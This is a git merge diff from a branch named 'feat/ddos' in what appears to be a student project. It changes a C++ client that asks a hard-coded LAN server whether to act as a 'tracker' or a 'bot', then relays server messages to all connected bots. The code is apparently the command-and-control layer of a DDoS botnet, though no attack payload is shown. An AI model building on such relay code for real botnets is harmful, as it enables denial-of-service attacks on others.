Merge pull request #26 from PoCInnovation/feat/ddos

Server to bot messages

client/Makefile

@@ -4,7 +4,7 @@ SRC		 	=	main.cpp	\
 				upnp_init.cpp	\
 				upnp_actions.cpp	\
 				Bot.cpp
-				
+
 SRC_UPNP 	=	upnp.cpp			\
 				upnp_init.cpp		\
 				upnp_actions.cpp

client/src/Bot.cpp

@@ -28,8 +28,10 @@ Bot::Bot(asio::ip::tcp::socket &socket) : _main_server(socket),
 
 void Bot::connectToTracker()
 {
+  std::cerr << "Hello\n";
     for (auto tracker : _trackers) {
         try {
+          std::cerr << tracker << std::endl;
             asio::ip::tcp::endpoint endpoint(asio::ip::address::from_string(tracker), 3612);
             _connection_tracker.connect(endpoint);
             break;

client/src/TypeGuesser.cpp

@@ -61,6 +61,7 @@ static void server(void)
 
 }
 
+/// Connects to the server and asks if it should be tracker or bot
 void TypeGuesser::connect(const std::string &ip)
 {
     asio::ip::tcp::endpoint endpoint(asio::ip::address::from_string(ip), 9570);

client/src/main.cpp

@@ -10,7 +10,7 @@ void bot(asio::ip::tcp::socket &socket)
     b.connectToTracker();
 }
 
-void tracker(asio::ip::tcp::socket &socket)
+[[noreturn]] void tracker(asio::ip::tcp::socket &socket)
 {
     asio::io_service io_service;
     asio::ip::tcp::acceptor acceptor_server(io_service, asio::ip::tcp::endpoint(asio::ip::tcp::v4(), 3612));
@@ -26,9 +26,12 @@ void tracker(asio::ip::tcp::socket &socket)
         }
     });
     while (true) {
-        asio::read_until(socket, asio::dynamic_buffer(received_buffer), "\r\n");
+        std::size_t n = asio::read_until(socket, asio::dynamic_buffer(received_buffer), "\r\n");
+        std::cout << "Sending message to all bots: " << received_buffer << std::endl;
+        std::string line = received_buffer.substr(0, n);
+        received_buffer.erase(0, n);
         for (auto &client : clients) {
-            asio::write(client, asio::buffer(received_buffer));
+            asio::write(client, asio::buffer(line));
         }
     }
 }
@@ -39,7 +42,7 @@ int main()
     asio::ip::tcp::socket mainServer(io_service);
     TypeGuesser guesser(mainServer);
 
-    guesser.connect("192.168.0.12");
+    guesser.connect("192.168.1.29");
     std::cout << "guesser: " << static_cast<int>(guesser.type()) << std::endl;
     switch (guesser.type()) {
         case TypeGuesser::Type::Bot: